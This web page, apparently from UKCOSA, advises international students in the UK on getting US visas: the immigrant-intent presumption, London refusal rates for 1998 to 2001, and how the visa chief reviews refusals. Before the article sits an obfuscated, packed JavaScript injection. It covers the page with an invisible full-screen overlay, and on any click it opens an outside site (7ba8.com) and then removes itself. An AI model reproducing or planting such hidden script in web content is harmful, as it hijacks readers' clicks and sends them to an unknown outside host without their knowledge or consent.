<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Visas for international students in the UK who want to visit the USA
UKCOSA
Following difficulties experienced by some international students in the UK in securing visas for the USA from the US Embassy in London, UKCOSA has had discussions with the Visa Chief at the US Embassy, Robert L Fretz.
The formal position is that under US immigration law, all applicants are considered intending immigrants unless they can prove otherwise. That means demonstrating to the satisfaction of a consular officer that they have a residence outside the United states which they do not intend to abandon and that their ties to another country are strong enough to compel them to leave the United States after a temporary non-working stay.
Most refusals of visas for international students to visit the US are on the grounds that the student cannot demonstrate adequate ties to the country from which they are applying. A consular officer in London cannot verify claims about an applicant's circumstances in the home country, so will be looking for evidence that the applicant is going to return to the UK.
Visa refusal rates overall at the London Embassy were 18% in 1998, 17% in 1999, 19% in 2000 and 21% in 2001. But for nationals of a number of countries refusal rates on first application are as high as 50%.
Bob Fretz told us that he personally reviews all refusals proposed by his vice-consuls and grants visas to perhaps 15% of the case he reviews. After initial refusal, applicants have the option of submitting a fresh application or of coming to London for an interview on the basis of their current application. About a half of those seen at interview after an initial refusal receive visas.
Bob Fretz also gave us a number of helpful indicators about the submission of applications for US visas in London and the factors taken into account in considering applications, and has agreed the following note for the guidance of international student advisers.
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